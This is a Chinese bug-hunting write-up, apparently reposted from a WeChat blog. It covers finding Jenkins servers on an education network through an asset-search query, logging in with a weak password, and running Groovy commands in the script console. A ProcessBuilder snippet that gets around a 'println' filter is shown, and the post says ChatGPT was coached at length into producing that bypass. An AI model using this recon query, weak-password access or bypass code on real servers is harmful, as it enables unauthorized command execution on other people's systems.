文章来源: https://bbs.zkaq.cn/t/31157.html
Jenkins - println绕过到shell命令执行
语法
org="China Education and Research Network Center"&& icon_hash="81586312"
语法说明:两个部分
org
表示筛选的目标为edu
组织
icon_hash
筛选的是图标,特定Jenkins
系列中的某一个图标
Jenkins未授权访问(捡漏失败)
熟悉Jenkins
的应该清楚,若配置不当可直接未授权访问
通常来说该类的标题可以搜索title="Dashboard"
在挖掘的过程中发现很明显的是,这类漏洞交上去逃脱不了重复
的命运
Jenkins捡漏
弱口令
在浏览信息收集的过程中发现如下登录框
浅浅试了一下弱口令,进去了~
脚本执行(println失败)
进入之后我们会来到/script
端点下的命令行,执行groovy script
脚本做到类命令执行的操作
Groovy脚本是一种基于Java语法的动态编程语言。它在Java平台上运行,并且与Java语言高度兼容。Groovy提供了许多特性和语法糖,使得编写代码更加简洁和易读。
由于基于Java
语法,因此可以用以下语句测试进行执行验证
println "whoami".execute().text
在Groovy脚本中,println是用于在控制台输出消息的方法。而execute().text是用于在执行命令时获取命令输出的方式。
案例如下
但是在实际测试过程中输入println
发现直接未响应
,而输入其他的未发生
因此发现了过滤(这边漏洞已修,忘记截图ing)
CHATGPT调教绕过
通过测试清楚了是println
被过滤之后,直接使用CHATGPT
进行漫长的调教
由于是之前进行调教的,这里放出结果,最终找到的替代方法
def command =["whoami"]
def process =newProcessBuilder(command).start()
def inputStream = process.getInputStream()
def result =newScanner(inputStream).useDelimiter("\A").next()
print(result)
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):记一个SHELL捡漏
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论